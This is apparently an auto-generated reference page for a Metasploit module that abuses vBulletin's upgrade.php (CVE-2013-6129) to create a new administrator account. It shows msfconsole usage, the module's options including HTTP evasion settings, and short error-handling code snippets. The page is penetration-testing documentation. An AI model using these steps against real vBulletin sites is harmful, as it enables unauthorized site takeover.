vBulletin Administrator Account Creation - Metasploit
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Module Overview
Name: vBulletin Administrator Account Creation
Module: auxiliary/admin/http/vbulletin_upgrade_admin
Source code: modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb
Disclosure date: 2013-10-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-6129
This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to create a new administrator account, as exploited in the wild on October 2013. This module has been tested successfully on vBulletin 4.1.5 and 4.1.0.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/vbulletin_upgrade_admin
msf auxiliary(vbulletin_upgrade_admin) > show targets
... a list of targets ...
msf auxiliary(vbulletin_upgrade_admin) > set TARGET target-id
msf auxiliary(vbulletin_upgrade_admin) > show options
... show and set options ...
msf auxiliary(vbulletin_upgrade_admin) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the admin/http/vbulletin_upgrade_admin auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/vbulletin_upgrade_admin
msf6 auxiliary(admin/http/vbulletin_upgrade_admin) > show info
Name: vBulletin Administrator Account Creation
Module: auxiliary/admin/http/vbulletin_upgrade_admin
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-10-09
Provided by:
Unknown
juan vazquez <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EMAIL [email protected] yes The email for the new admin account
PASSWORD password yes The password for the new admin account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The vbulletin URI
USERNAME msf yes The username for the new admin account
VHOST no HTTP server virtual host
Description:
This module abuses the "install/upgrade.php" component on vBulletin
4.1+ and 4.5+ to create a new administrator account, as exploited in
the wild on October 2013. This module has been tested successfully
on vBulletin 4.1.5 and 4.1.0.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-6129
http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html
OSVDB (98370)
http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5
Module Options
This is a complete list of options available in the admin/http/vbulletin_upgrade_admin auxiliary module:
msf6 auxiliary(admin/http/vbulletin_upgrade_admin) > show options
Module options (auxiliary/admin/http/vbulletin_upgrade_admin):
Name Current Setting Required Description
---- --------------- -------- -----------
EMAIL [email protected] yes The email for the new admin account
PASSWORD password yes The password for the new admin account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The vbulletin URI
USERNAME msf yes The username for the new admin account
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/vbulletin_upgrade_admin auxiliary module:
msf6 auxiliary(admin/http/vbulletin_upgrade_admin) > show advanced
Module advanced options (auxiliary/admin/http/vbulletin_upgrade_admin):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/vbulletin_upgrade_admin module can do:
msf6 auxiliary(admin/http/vbulletin_upgrade_admin) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/vbulletin_upgrade_admin auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/vbulletin_upgrade_admin) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Please select a password different than the username
Here is a relevant code snippet related to the "Please select a password different than the username" error message:
48: end
49:
50: def run
51:
52: if user == pass
53: print_error("Please select a password different than the username")
54: return
55: end
56:
57: print_status("Trying a new admin vBulletin account...")
58:
Admin account creation failed
Here is a relevant code snippet related to the "Admin account creation failed" error message:
88: private_data: pass,
89: private_type: :password,
90: status: Metasploit::Model::Login::Status::UNTRIED,
91: proof: res.body
92: }.merge(service_details)
93: create_credential_and_login(connection_details)
94: else
95: print_error("Admin account creation failed")
96: end
97: end
98: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8914 Merged Pull Request: refactor auxiliary/admin/http credential storage
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5768 Merged Pull Request: Update modules to use metasploit-credential instead of report_auth_info
- #2525 Merged Pull Request: Change module boilerplate
- #2493 Merged Pull Request: Add module for the vbulletin exploit in the wild
References
- CVE-2013-6129
- http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html
- OSVDB (98370)
- http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5
See Also
Check also the following modules related to this module:
- auxiliary/gather/vbulletin_getindexablecontent_sqli
- auxiliary/gather/vbulletin_vote_sqli
- exploit/multi/http/vbulletin_getindexablecontent
- exploit/multi/http/vbulletin_unserialize
- exploit/multi/http/vbulletin_widgetconfig_rce
- exploit/multi/http/vbulletin_widget_template_rce
- exploit/unix/webapp/vbulletin_vote_sqli_exec
- auxiliary/admin/http/kaseya_master_admin
- auxiliary/admin/http/manage_engine_dc_create_admin
- exploit/unix/webapp/php_vbulletin_template
- exploit/multi/http/movabletype_upgrade_exec
- exploit/multi/http/nuuo_nvrmini_upgrade_rce
- exploit/windows/local/powershell_cmd_upgrade
Authors
- Unknown
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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